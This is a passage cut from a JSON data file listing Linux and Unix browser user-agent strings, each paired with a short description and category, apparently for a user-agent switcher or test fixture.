Konqueror\\/3.3; Linux 2.6.8-gentoo-r3; X11;\"},{\"description\":\"Konqueror 3.5 - khtml (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML\\/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)\"},{\"description\":\"Konqueror 3.5.6 - khtml (Kubuntu)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/3.5; Linux; en_US) KHTML\\/3.5.6 (like Gecko) (Kubuntu)\"},{\"description\":\"Minefield (Firefox Nightly) 4.0b2pre\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko\\/20100712 Minefield\\/4.0b2pre\"},{\"description\":\"Mozilla 1.6 (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian\\/1.6-7\"},{\"description\":\"Opera 7.23\",\"kind\":\"Browsers - Linux\",\"ua\":\"MSIE (MSIE 6.0; X11; Linux; i686) Opera 7.23\"},{\"description\":\"Opera 9.64 (Linux Mint)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Opera\\/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto\\/2.1.1\"},{\"description\":\"Opera 10.10 (id as 9.8)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; U; en) Presto\\/2.2.15 Version\\/10.10\"},{\"description\":\"Opera 11.00 (id as 9.8)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; U; pl) Presto\\/2.7.62 Version\\/11.00\"},{\"description\":\"QupZilla 1.2 (Webkit 534.34)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/534.34 (KHTML, like Gecko) QupZilla\\/1.2.0 Safari\\/534.34\"},{\"description\":\"SeaMonkey 2.0.12 (Mozilla)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko\\/20110123 SeaMonkey\\/2.0.12\"},{\"description\":\"Swiftfox 2.0\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko\\/20061024 Firefox\\/2.0 (Swiftfox)\"},{\"description\":\"Arora 0.11 - WebKit\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux; en-US) AppleWebKit\\/527  (KHTML, like Gecko, Safari\\/419.3) Arora\\/0.10.1\"},{\"description\":\"Chrome 20.0 (CrOS)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit\\/536.11 (KHTML, like Gecko) Chrome\\/20.0.1132.57 Safari\\/536.11\"},{\"description\":\"Chrome 22.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.4 (KHTML like Gecko) Chrome\\/22.0.1229.56 Safari\\/537.4\"},{\"description\":\"Chrome 28.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1478.0 Safari\\/537.36\"},{\"description\":\"Chrome 36.0 (CrOS)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 5841.83.0) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/36.0.1985.138 Safari\\/537.36\"},{\"description\":\"Chrome 36.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/36.0.1985.125 Safari\\/537.36\"},{\"description\":\"Chrome 39.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2166.2 Safari\\/537.36\"},{\"description\":\"Chrome 41.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2227.0 Safari\\/537.36\"},{\"description\":\"Chrome 43.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.93 Safari\\/537.36\"},{\"description\":\"Chrome 44.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 (x86_64)) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36\"},{\"description\":\"Chrome 52.0 (Fedora 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"description\":\"Chrome 55.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2876.0 Safari\\/537.36\"},{\"description\":\"Chrome 62.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 (x86_64)) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3187.0 Safari\\/537.366\"},{\"description\":\"Chrome 62.0 (Fedora s64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3178.0 Safari\\/537.36\"},{\"description\":\"Chromium 25.0 (Ubuntu 32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.22 (KHTML like Gecko) Ubuntu Chromium\\/25.0.1364.160 Chrome\\/25.0.1364.160 Safari\\/537.22\"},{\"description\":\"Chromium 33.0 (Ubuntu 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Ubuntu Chromium\\/33.0.1750.152 Chrome\\/33.0.1750.152 Safari\\/537.36\"},{\"description\":\"Chromium 51.0 (Ubuntu 32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Ubuntu Chromium\\/51.0.2704.79 Chrome\\/51.0.2704.79 Safari\\/537.36\"},{\"description\":\"Chromium 60.0 (Ubuntu 32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Ubuntu Chromium\\/60.0.3112.78 Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"description\":\"Dillo 3.0\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/4.0 (compatible; Dillo 3.0)\"},{\"description\":\"Epiphany - WebKit (528.5)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-us) AppleWebKit\\/528.5  (KHTML, like Gecko, Safari\\/528.5 ) lt-GtkLauncher\"},{\"description\":\"Epiphany 3.8.2 - WebKit (537.32)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.32 (KHTML, like Gecko) Chromium\\/25.0.1349.2 Chrome\\/25.0.1349.2 Safari\\/537.32 Epiphany\\/3.8.2\"},{\"description\":\"Epiphany 3.24 (Ubuntu - Webkit 604.1)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/604.1 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1 Ubuntu\\/17.04 (3.24.1-0ubuntu1) Epiphany\\/3.24.1\"},{\"description\":\"Firefox 16.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"description\":\"Firefox 19.0 (Slackware 13 32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; rv:19.0) Gecko\\/20100101 Slackware\\/13 Firefox\\/19.0\"},{\"description\":\"Firefox 20.0 (Ubuntu 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"description\":\"Firefox 20.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"description\":\"Firefox 25.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"description\":\"Firefox 28.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"description\":\"Firefox 32.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:32.0) Gecko\\/20100101 Firefox\\/32.0\"},{\"description\":\"Firefox 35.0 (Ubuntu 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"description\":\"Firefox 36.0 (CentOS 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; CentOS; Linux x86_64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"description\":\"Firefox 38.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"description\":\"Firefox 40.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"description\":\"Firefox 43.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"description\":\"Firefox 46.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"description\":\"Firefox 49.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"description\":\"Firefox 49.0 (Fedora 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"description\":\"Firefox 49.0 (Ubuntu 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"description\":\"Firefox 55.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"description\":\"Firefox 55.0 (Ubuntu 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"description\":\"Galeon 2.0.6 (Ubuntu)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon\\/2.0.6 (Ubuntu 2.0.6-2)\"},{\"description\":\"Galeon 2.0.6 (Gentoo)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko\\/20080716 (Gentoo) Galeon\\/2.0.6\"},{\"description\":\"Iceape (SeaMonkey) 2.0.8 (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko\\/20100916 Iceape\\/2.0.8\"},{\"description\":\"Iceweasel (Firefox) 19.0 (Debian 64)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:19.0) Gecko\\/20100101 Firefox\\/19.0 Iceweasel\\/19.0.2\"},{\"description\":\"Iceweasel (Firefox) 38.0 (Debian 64)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0 Iceweasel\\/38.2.1\"},{\"description\":\"Konqueror 4.3 - khtml (Slackware 13)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.2; Linux) KHTML\\/4.2.4 (like Gecko) Slackware\\/13.0\"},{\"description\":\"Konqueror 4.3 - khtml (Fedora 11)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.3; Linux) KHTML\\/4.3.1 (like Gecko) Fedora\\/4.3.1-3.fc11\"},{\"description\":\"Konqueror 4.4 - khtml (Fedora 12)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.4; Linux) KHTML\\/4.4.1 (like Gecko) Fedora\\/4.4.1-1.fc12\"},{\"description\":\"Konqueror 4.4 - khtml (Kubuntu)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML\\/4.4.3 (like Gecko) Kubuntu\"},{\"description\":\"Konqueror 4.4 - khtml (Kubuntu)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML\\/4.4.3 (like Gecko) Kubuntu\"},{\"description\":\"Konqueror 4.8 - khtml (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux 3.8-6.dmz.1-liquorix-686) KHTML\\/4.8.4 (like Gecko) Konqueror\\/4.8\"},{\"description\":\"Konqueror 4.9 - khtml\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux) KHTML\\/4.9.1 (like Gecko) Konqueror\\/4.9\"},{\"description\":\"Konqueror 4.14 - khtml\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.21 (KHTML, like Gecko) konqueror\\/4.14.10 Safari\\/537.21\"},{\"description\":\"Midori 0.1.10 (Webkit 531)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Midori\\/0.1.10 (X11; Linux i686; U; en-us) WebKit\\/(531).(2)\"},{\"description\":\"Mozilla 1.9.0 (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko\\/2008092814 (Debian-3.0.1-1)\"},{\"description\":\"Mozilla 1.9a3pre\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko\\/20070330\"},{\"description\":\"Opera 12.16 (id as 9.8, last presto)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Opera\\/9.80 (X11; Linux i686) Presto\\/2.12.388 Version\\/12.16\"},{\"description\":\"Opera 20.0 (Chrome 33)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.166 Safari\\/537.36 OPR\\/20.0.1396.73172\"},{\"description\":\"Opera 20.0 (Chrome 33)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.166 Safari\\/537.36 OPR\\/20.0.1396.73172\"},{\"description\":\"Opera 32.0 (Chrome 45)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"description\":\"Opera 40.0 (Chrome 53)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"description\":\"Puffin 4.8 (Chrome 30)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit\\/537.36 (KHTML, like Gecko)  Chrome\\/30.0.1599.114 Safari\\/537.36 Puffin\\/4.8.0.2965AT\"},{\"description\":\"QupZilla 1.8 (Webkit 538.2)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/538.1 (KHTML, like Gecko) QupZilla\\/1.8.6 Safari\\/538.1\"},{\"description\":\"QupZilla 1.9 (Webkit 538.1)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/538.1 (KHTML, like Gecko) QupZilla\\/1.9.0 Safari\\/538.1\"},{\"description\":\"SeaMonkey 2.7 (Firefox 10)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1 SeaMonkey\\/2.7.1\"},{\"description\":\"SeaMonkey 2.9 (Firefox 12)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:12.0) Gecko\\/20120502 Firefox\\/12.0 SeaMonkey\\/2.9.1\"},{\"description\":\"SeaMonkey 2.35 (Firefox 38)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:38.0) Gecko\\/20100101 Firefox\\/38.0 SeaMonkey\\/2.35\"},{\"description\":\"SeaMonkey 2.46 (Firefox 49)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:49.0) Gecko\\/20100101 Firefox\\/49.0 SeaMonkey\\/2.46\"},{\"description\":\"Shadowfox 7.0 (Firefox 7)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko\\/20110430 shadowfox\\/7.0 (like Firefox\\/7.0\"},{\"description\":\"Swiftfox 3.6.3\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko\\/20100406 Firefox\\/3.6.3 (Swiftfox)\"},{\"description\":\"Uzbl (Webkit 1.3)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Uzbl (Webkit 1.3) (Linux i686 [i686])\"},{\"description\":\"Vivaldi 1.0.344 (Chrome 47)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36 Vivaldi\\/1.0.344.37\"},{\"description\":\"ELinks 0.4.3 (NetBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"ELinks (0.4.3; NetBSD 3.0.2PATCH sparc64; 141x19)\"},{\"description\":\"Links 2.1 (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Links (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84)\"},{\"description\":\"Links 2.8.7\",\"kind\":\"Browsers - Unix\",\"ua\":\"Lynx\\/2.8.7dev.4 libwww-FM\\/2.14 SSL-MM\\/1.4.1 OpenSSL\\/0.9.8d\"},{\"description\":\"w3m 0.5.1\",\"kind\":\"Browsers - Unix\",\"ua\":\"w3m\\/0.5.1\"},{\"description\":\"Chrome 4.0 (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit\\/532.0 (KHTML, like Gecko) Chrome\\/4.0.207.0 Safari\\/532.0\"},{\"description\":\"Chrome 5.0 (OpenBSD 32)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit\\/533.3 (KHTML, like Gecko) Chrome\\/5.0.359.0 Safari\\/533.3\"},{\"description\":\"Chrome 10.0 (FreeBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit\\/534.16 (KHTML, like Gecko) Chrome\\/10.0.648.204 Safari\\/534.16\"},{\"description\":\"Firebird 0.6 (SunOs)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko\\/20030517 Mozilla Firebird\\/0.6\"},{\"description\":\"Firefox 3.1b3 (SunOs)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko\\/20090429 Firefox\\/3.1b3\"},{\"description\":\"Firefox 3.5 (OpenBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko\\/20090702 Firefox\\/3.5\"},{\"description\":\"Firefox 3.6.8 (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko\\/20100729 Firefox\\/3.6.8\"},{\"description\":\"Firefox 5.0 (FreeBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"description\":\"Galeon 1.3.15 (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko\\/20040406 Galeon\\/1.3.15\"},{\"description\":\"Konqueror 3.5 - khtml (NetBSD 4.0)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/3.5; NetBSD 4.0_RC3; X11) KHTML\\/3.5.7 (like Gecko)\"},{\"description\":\"Konqueror 3.5.1 - khtml (SunOS)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/3.5; SunOS) KHTML\\/3.5.1 (like Gecko)\"},{\"description\":\"Mozilla 1.7 (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko\"},{\"description\":\"Netscape 4.77 (Irix)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/4.77 [en] (X11; I; IRIX;64 6.5 IP30)\"},{\"description\":\"Netscape 4.8 (SunOS)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/4.8 [en] (X11; U; SunOS; 5.7 sun4u)\"},{\"description\":\"Arora 0.10.2 (BSD\\/Haiku)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (Unknown; U; UNIX BSD\\/SYSV system; C -) AppleWebKit\\/527  (KHTML, like Gecko, Safari\\/419.3) Arora\\/0.10.2\"},{\"description\":\"Chrome 19.0 (FreeBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64) AppleWebKit\\/536.5 (KHTML like Gecko) Chrome\\/19.0.1084.56 Safari\\/536.5\"},{\"description\":\"Chrome 22.0 (FreeBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64) AppleWebKit\\/537.4 (KHTML like Gecko) Chrome\\/22.0.1229.79 Safari\\/537.4\"},{\"description\":\"Chrome 27.0 (NetBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; NetBSD) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/27.0.1453.116 Safari\\/537.36\"},{\"description\":\"Chrome 36.0 (OpenBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; OpenBSD i386) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1985.125 Safari\\/537.36\"},{\"description\":\"Chromium 20.0 (NetBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; NetBSD x86; en-us) AppleWebKit\\/666.6+ (KHTML, like Gecko) Chromium\\/20.0.0000.00 Chrome\\/20.0.0000.00 Safari\\/666.6+\"},{\"description\":\"Epiphany 2.30.0 (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64) AppleWebKit\\/535.22+ (KHTML, like Gecko) Chromium\\/17.0.963.56 Chrome\\/17.0.963.56 Safari\\/535.22+ Epiphany\\/2.30.6\"},{\"description\":\"Epiphany 2.30.0 (OpenBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit\\/531.2  (KHTML, like Gecko) Safari\\/531.2  Epiphany\\/2.30.0\"},{\"description\":\"Firefox 16.0 (NetBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; NetBSD amd64; rv:16.0) Gecko\\/20121102 Firefox\\/16.0\"},{\"description\":\"Firefox 28.0 (OpenBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"description\":\"Firefox 30.0 (NetBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; NetBSD amd64; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"description\":\"Firefox 30.0 (OpenBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"description\":\"Firefox 35.0 (FreeBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.153 Safari\\/537.36\"},{\"description\":\"Firefox 54.0 (FreeBSD 64)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"description\":\"Konqueror 4.1 - khtml (DragonFly)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.1; DragonFly) KHTML\\/4.1.4 (like Gecko)\"},{\"description\":\"Konqueror 4.1 - khtml (OpenBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.1; OpenBSD) KHTML\\/4.1.4 (like Gecko)\"},{\"description\":\"Konqueror 4.5.4 - khtml (NetBSD 5.0.2)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML\\/4.5.4 (like Gecko)\"},{\"description\":\"Konqueror 4.5.4 - khtml (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (compatible; Konqueror\\/4.5; FreeBSD) KHTML\\/4.5.4 (like Gecko)\"},{\"description\":\"Namoroka 3.6.15 (Firefox) (NetBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko\\/20110308 Namoroka\\/3.6.15\"},{\"description\":\"NetSurf 1.2 (NetBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"NetSurf\\/1.2 (NetBSD; amd64)\"},{\"description\":\"Opera 12.10 (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Opera\\/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto\\/2.12.388 